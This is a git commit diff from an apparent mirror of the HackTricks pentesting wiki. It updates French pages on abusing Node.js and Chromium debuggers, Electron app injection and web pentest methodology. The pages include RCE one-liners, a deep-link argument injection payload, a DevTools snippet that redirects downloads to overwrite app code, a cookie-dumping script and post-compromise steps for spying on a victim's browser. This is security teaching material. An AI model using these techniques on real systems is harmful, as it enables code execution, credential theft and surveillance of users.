mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['linux-hardening/privilege-escalation/electron-cef-chromium-
This commit is contained in:
Translator
parent
f8b21aba4c
commit
c40033a995
9 changed files with 904 additions and 293 deletions
10
SUMMARY.md
10
SUMMARY.md
|
|
@ -386,9 +386,12 @@
|
|||
* [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
|
||||
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
|
||||
* [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md)
|
||||
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
* [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
|
||||
* [Flask](network-services-pentesting/pentesting-web/flask.md)
|
||||
* [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
|
||||
* [Git](network-services-pentesting/pentesting-web/git.md)
|
||||
|
|
@ -427,6 +430,7 @@
|
|||
* [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
* [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
* [Special HTTP headers](network-services-pentesting/pentesting-web/special-http-headers.md)
|
||||
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
|
||||
|
|
@ -438,10 +442,6 @@
|
|||
* [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
|
||||
* [Werkzeug / Flask Debug](network-services-pentesting/pentesting-web/werkzeug.md)
|
||||
* [Wordpress](network-services-pentesting/pentesting-web/wordpress.md)
|
||||
* [XSS to RCE Electron Desktop Apps](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md)
|
||||
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
* [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
|
||||
* [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||
* [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||
* [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||
|
|
|
|||
|
|
@ -1,11 +1,25 @@
|
|||
# Node inspector/CEF debug abuse
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Lorsqu'il est lancé avec l'option `--inspect`, un processus Node.js écoute un client de débogage. Par **défaut**, il écoutera sur l'hôte et le port **`127.0.0.1:9229`**. Chaque processus se voit également attribuer un **UUID** **unique**.
|
||||
Lorsqu'il est lancé avec l'option `--inspect`, un processus Node.js écoute un client de débogage. Par **défaut**, il écoute à l'adresse et au port **`127.0.0.1:9229`**. Chaque processus se voit également attribuer un **UUID** **unique**.
|
||||
|
||||
Les clients de l'inspecteur doivent connaître et spécifier l'adresse de l'hôte, le port et l'UUID pour se connecter. Une URL complète ressemblera à quelque chose comme `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Étant donné que le **débogueur a un accès complet à l'environnement d'exécution Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**potentielle élévation de privilèges**).
|
||||
Étant donné que le **débogueur a un accès complet à l'environnement d'exécution de Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**élévation potentielle des privilèges**).
|
||||
{% endhint %}
|
||||
|
||||
Il existe plusieurs façons de démarrer un inspecteur :
|
||||
|
|
@ -24,7 +38,7 @@ Lorsque vous démarrez un processus inspecté, quelque chose comme ceci apparaî
|
|||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
Les processus basés sur **CEF** (**Chromium Embedded Framework**) doivent utiliser le paramètre `--remote-debugging-port=9222` pour ouvrir le **débogueur** (les protections SSRF restent très similaires). Cependant, au lieu d'accorder une session de **débogage** **NodeJS**, ils communiqueront avec le navigateur en utilisant le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), qui est une interface pour contrôler le navigateur, mais il n'y a pas de RCE direct.
|
||||
Les processus basés sur **CEF** (**Chromium Embedded Framework**) doivent utiliser le paramètre : `--remote-debugging-port=9222` pour ouvrir le **débogueur** (les protections SSRF restent très similaires). Cependant, au lieu d'accorder une session de **débogage** **NodeJS**, ils communiqueront avec le navigateur en utilisant le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), qui est une interface pour contrôler le navigateur, mais il n'y a pas de RCE direct.
|
||||
|
||||
Lorsque vous démarrez un navigateur en mode débogage, quelque chose comme ceci apparaîtra :
|
||||
```
|
||||
|
|
@ -32,7 +46,7 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4
|
|||
```
|
||||
### Navigateurs, WebSockets et politique de même origine <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
|
||||
Les sites Web ouverts dans un navigateur Web peuvent effectuer des requêtes WebSocket et HTTP sous le modèle de sécurité du navigateur. Une **connexion HTTP initiale** est nécessaire pour **obtenir un identifiant de session de débogueur unique**. La **politique de même origine** **empêche** les sites Web de pouvoir effectuer **cette connexion HTTP**. Pour une sécurité supplémentaire contre les [**attaques de rebond DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js vérifie que les **en-têtes 'Host'** pour la connexion spécifient soit une **adresse IP** ou **`localhost`** ou **`localhost6`** précisément.
|
||||
Les sites web ouverts dans un navigateur web peuvent effectuer des requêtes WebSocket et HTTP dans le cadre du modèle de sécurité du navigateur. Une **connexion HTTP initiale** est nécessaire pour **obtenir un identifiant de session de débogueur unique**. La **politique de même origine** **empêche** les sites web de pouvoir effectuer **cette connexion HTTP**. Pour une sécurité supplémentaire contre les [**attaques de rebinding DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js vérifie que les en-têtes **'Host'** de la connexion spécifient précisément une **adresse IP** ou **`localhost`** ou **`localhost6`**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Ces **mesures de sécurité empêchent l'exploitation de l'inspecteur** pour exécuter du code en **envoyant simplement une requête HTTP** (ce qui pourrait être fait en exploitant une vulnérabilité SSRF).
|
||||
|
|
@ -40,7 +54,7 @@ Ces **mesures de sécurité empêchent l'exploitation de l'inspecteur** pour ex
|
|||
|
||||
### Démarrage de l'inspecteur dans les processus en cours d'exécution
|
||||
|
||||
Vous pouvez envoyer le **signal SIGUSR1** à un processus nodejs en cours d'exécution pour le faire **démarrer l'inspecteur** sur le port par défaut. Cependant, notez que vous devez avoir suffisamment de privilèges, cela pourrait vous accorder un **accès privilégié aux informations à l'intérieur du processus** mais pas une élévation de privilèges directe.
|
||||
Vous pouvez envoyer le **signal SIGUSR1** à un processus nodejs en cours d'exécution pour lui faire **démarrer l'inspecteur** sur le port par défaut. Cependant, notez que vous devez disposer de suffisamment de privilèges, cela peut vous accorder un **accès privilégié aux informations à l'intérieur du processus** mais pas une élévation de privilèges directe.
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
|
|
@ -49,13 +63,13 @@ kill -s SIGUSR1 <nodejs-ps>
|
|||
Ceci est utile dans les conteneurs car **arrêter le processus et en démarrer un nouveau** avec `--inspect` n'est **pas une option** car le **conteneur** sera **tué** avec le processus.
|
||||
{% endhint %}
|
||||
|
||||
### Se connecter à l'inspecteur/debugger
|
||||
### Se connecter à l'inspecteur/débogueur
|
||||
|
||||
Si vous avez accès à un navigateur **basé sur Chromium**, vous pouvez vous connecter en accédant à `chrome://inspect` ou `edge://inspect` dans Edge. Cliquez sur le bouton Configure et assurez-vous que votre **hôte et port cible** sont répertoriés (trouvez un exemple dans l'image suivante de comment obtenir une RCE en utilisant l'un des exemples des sections suivantes).
|
||||
Si vous avez accès à un navigateur basé sur Chromium, vous pouvez vous connecter en accédant à `chrome://inspect` ou `edge://inspect` dans Edge. Cliquez sur le bouton Configure et assurez-vous que votre **hôte et port cibles** sont répertoriés (trouvez un exemple dans l'image suivante sur la façon d'obtenir une RCE en utilisant l'un des exemples des sections suivantes).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
En utilisant la **ligne de commande**, vous pouvez vous connecter à un debugger/inspecteur avec:
|
||||
À l'aide de la **ligne de commande**, vous pouvez vous connecter à un débogueur/inspecteur avec :
|
||||
```bash
|
||||
node inspect <ip>:<port>
|
||||
node inspect 127.0.0.1:9229
|
||||
|
|
@ -72,16 +86,16 @@ L'outil [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefde
|
|||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que les exploits **NodeJS RCE ne fonctionneront pas** s'ils sont connectés à un navigateur via le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (vous devez vérifier l'API pour trouver des choses intéressantes à faire avec).
|
||||
Notez que les exploits **RCE de NodeJS ne fonctionneront pas** s'ils sont connectés à un navigateur via le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (vous devez vérifier l'API pour trouver des choses intéressantes à faire avec).
|
||||
{% endhint %}
|
||||
|
||||
## RCE dans le débogueur/inspecteur NodeJS
|
||||
|
||||
{% hint style="info" %}
|
||||
Si vous êtes venu ici pour savoir comment obtenir un **RCE à partir d'un XSS dans Electron**, veuillez consulter cette page.](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
|
||||
Si vous êtes ici pour savoir comment obtenir une **RCE à partir d'une XSS dans Electron**, veuillez consulter cette page.](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endhint %}
|
||||
|
||||
Voici quelques moyens courants d'obtenir un **RCE** lorsque vous pouvez vous **connecter** à un **inspecteur Node** en utilisant quelque chose comme (il semble que cela **ne fonctionnera pas dans une connexion au protocole Chrome DevTools**):
|
||||
Voici quelques moyens courants d'obtenir une **RCE** lorsque vous pouvez vous **connecter** à un **inspecteur** Node en utilisant quelque chose comme (il semble que cela **ne fonctionnera pas avec une connexion au protocole Chrome DevTools**):
|
||||
```javascript
|
||||
process.mainModule.require('child_process').exec('calc')
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
|
|
@ -90,44 +104,44 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
|
|||
```
|
||||
## Charges utiles du protocole Chrome DevTools
|
||||
|
||||
Vous pouvez vérifier l'API ici: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
Dans cette section, je vais simplement lister les choses intéressantes que j'ai trouvées et que les gens ont utilisées pour exploiter ce protocole.
|
||||
Vous pouvez consulter l'API ici : [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
Dans cette section, je vais simplement répertorier les choses intéressantes que j'ai trouvées et que les gens ont utilisées pour exploiter ce protocole.
|
||||
|
||||
### Injection de paramètres via des liens profonds
|
||||
|
||||
Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security a découvert qu'une application basée sur CEF **a enregistré un URI personnalisé** dans le système (workspaces://) qui a reçu l'URI complet, puis **a lancé l'application basée sur CEF** avec une configuration qui a été partiellement construite à partir de cet URI.
|
||||
Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security a découvert qu'une application basée sur CEF **enregistrait un URI personnalisé** dans le système (workspaces://) qui recevait l'URI complet, puis **lançait l'application basée sur CEF** avec une configuration partiellement construite à partir de cet URI.
|
||||
|
||||
Il a été découvert que les paramètres de l'URI étaient décodés en URL et utilisés pour lancer l'application de base CEF, permettant à un utilisateur d'**injecter** le drapeau **`--gpu-launcher`** dans la **ligne de commande** et d'exécuter des choses arbitraires.
|
||||
|
||||
Ainsi, une charge utile comme:
|
||||
Ainsi, une charge utile comme celle-ci :
|
||||
```
|
||||
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
|
||||
```
|
||||
Exécuter un calc.exe.
|
||||
Exécutera un calc.exe.
|
||||
|
||||
### Écraser des fichiers
|
||||
|
||||
Changer le dossier où les **fichiers téléchargés vont être sauvegardés** et télécharger un fichier pour **écraser** le **code source** fréquemment utilisé de l'application avec votre **code malveillant**.
|
||||
Modifiez le dossier où les **fichiers téléchargés seront enregistrés** et téléchargez un fichier pour **écraser** le **code source** fréquemment utilisé de l'application avec votre **code malveillant**.
|
||||
```javascript
|
||||
ws = new WebSocket(url); //URL of the chrome devtools service
|
||||
ws.send(JSON.stringify({
|
||||
id: 42069,
|
||||
method: 'Browser.setDownloadBehavior',
|
||||
params: {
|
||||
behavior: 'allow',
|
||||
downloadPath: '/code/'
|
||||
}
|
||||
id: 42069,
|
||||
method: 'Browser.setDownloadBehavior',
|
||||
params: {
|
||||
behavior: 'allow',
|
||||
downloadPath: '/code/'
|
||||
}
|
||||
}));
|
||||
```
|
||||
### RCE et exfiltration avec Webdriver
|
||||
### Webdriver RCE et exfiltration
|
||||
|
||||
Selon cet article : [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), il est possible d'obtenir une RCE et d'exfiltrer des pages internes à partir de Webdriver.
|
||||
Selon cet article: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), il est possible d'obtenir une RCE et d'exfiltrer des pages internes à partir de theriver.
|
||||
|
||||
### Post-exploitation
|
||||
### Post-Exploitation
|
||||
|
||||
Dans un environnement réel et **après avoir compromis** un PC utilisateur qui utilise un navigateur basé sur Chrome/Chromium, vous pouvez lancer un processus Chrome avec le **débogage activé et le port de débogage porté en avant** pour y accéder. De cette façon, vous pourrez **inspecter tout ce que la victime fait avec Chrome et voler des informations sensibles**.
|
||||
Dans un environnement réel et **après avoir compromis** un PC utilisateur utilisant un navigateur basé sur Chrome/Chromium, vous pouvez lancer un processus Chrome avec le **débogage activé et faire une redirection de port pour le port de débogage** afin d'y accéder. De cette manière, vous pourrez **inspecter tout ce que la victime fait avec Chrome et voler des informations sensibles**.
|
||||
|
||||
La manière furtive est de **terminer tous les processus Chrome** et ensuite d'appeler quelque chose comme
|
||||
La méthode furtive consiste à **terminer tous les processus Chrome** puis à appeler quelque chose comme
|
||||
```bash
|
||||
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
||||
```
|
||||
|
|
@ -148,14 +162,10 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -72,7 +72,7 @@ Cependant, il y a actuellement 2 limitations :
|
|||
* L'autorisation **`kTCCServiceSystemPolicyAppBundles`** est **nécessaire** pour modifier une application, donc par défaut cela n'est plus possible.
|
||||
* Le fichier **`asap`** compilé a généralement les fusibles **`embeddedAsarIntegrityValidation`** et **`onlyLoadAppFromAsar`** activés
|
||||
|
||||
Ce qui rend ce chemin d'attaque plus compliqué (voire impossible).
|
||||
Ce qui rend ce chemin d'attaque plus compliqué (ou impossible).
|
||||
{% endhint %}
|
||||
|
||||
Notez qu'il est possible de contourner l'exigence de **`kTCCServiceSystemPolicyAppBundles`** en copiant l'application dans un autre répertoire (comme **`/tmp`**), en renommant le dossier **`app.app/Contents`** en **`app.app/NotCon`**, en **modifiant** le fichier **asar** avec votre code **malveillant**, en le renommant à nouveau en **`app.app/Contents`** et en l'exécutant.
|
||||
|
|
@ -170,14 +170,24 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si le fusible **`EnableNodeCliInspectArguments`** est désactivé, l'application **ignorera les paramètres node** (comme `--inspect`) lors du lancement, sauf si la variable d'environnement **`ELECTRON_RUN_AS_NODE`** est définie, ce qui sera également **ignoré** si le fusible **`RunAsNode`** est désactivé.
|
||||
Si le paramètre **`EnableNodeCliInspectArguments`** est désactivé, l'application **ignorera les paramètres node** (comme `--inspect`) lors du lancement, sauf si la variable d'environnement **`ELECTRON_RUN_AS_NODE`** est définie, ce qui sera également **ignoré** si le paramètre **`RunAsNode`** est désactivé.
|
||||
|
||||
Cependant, vous pouvez toujours utiliser le paramètre electron `--remote-debugging-port=9229`, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus.
|
||||
Cependant, vous pouvez toujours utiliser le paramètre **`--remote-debugging-port=9229`** d'Electron, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus.
|
||||
{% endhint %}
|
||||
|
||||
En utilisant le paramètre **`--remote-debugging-port=9222`**, il est possible de voler certaines informations de l'application Electron, telles que l'**historique** (avec les commandes GET) ou les **cookies** du navigateur (car ils sont **décryptés** à l'intérieur du navigateur et qu'il existe un **point de terminaison json** qui les fournit).
|
||||
|
||||
Vous pouvez apprendre comment faire cela [**ici**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) et [**ici**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) et utiliser l'outil automatique [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou un simple script comme suit :
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
### Injection à partir du fichier Plist de l'application
|
||||
|
||||
Vous pouvez exploiter cette variable d'environnement dans un fichier Plist pour maintenir la persistance en ajoutant ces clés :
|
||||
Vous pouvez exploiter cette variable d'environnement dans un fichier plist pour maintenir la persistance en ajoutant ces clés :
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
|
|
|
|||
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Astuce pour les primes de bug** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **prime de bug créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce pour les primes de bug** : **inscrivez-vous** sur **Intigriti**, une **plateforme premium de primes de bug créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
|
@ -50,13 +50,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou si ils vont trouver des informations intéressantes.
|
||||
* [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et analyse **SSL/TLS** (si HTTPS).
|
||||
* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**.
|
||||
* [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être exploré._
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être exploré._
|
||||
* [ ] **Attaque par force brute des répertoires** : Essayez de forcer par la méthode de force brute tous les répertoires découverts à la recherche de nouveaux **fichiers** et **répertoires**.
|
||||
* [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être attaqué par force brute._
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être attaqué par force brute._
|
||||
* [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
|
||||
* [ ] **Attaque par force brute des paramètres** : Essayez de **trouver des paramètres cachés**.
|
||||
* [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez toutes sortes de **vulnérabilités** qui y sont liées.
|
||||
* [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
* [ ] [Suivez cette liste de vérification](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
||||
## Version du serveur (Vulnérable ?)
|
||||
|
||||
|
|
@ -70,63 +70,62 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Recherchez les **vulnérabilités de la version de l'application Web** [**ici**](../../generic-methodologies-and-resources/search-exploits.md).
|
||||
Recherchez les vulnérabilités de la version de l'application web.
|
||||
|
||||
### **Vérifiez si un pare-feu d'application Web (WAF) est utilisé**
|
||||
### Vérifiez si un WAF est utilisé
|
||||
|
||||
* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
* [https://github.com/EnableSecurity/wafw00f](https://github.com/EnableSecurity/wafw00f)
|
||||
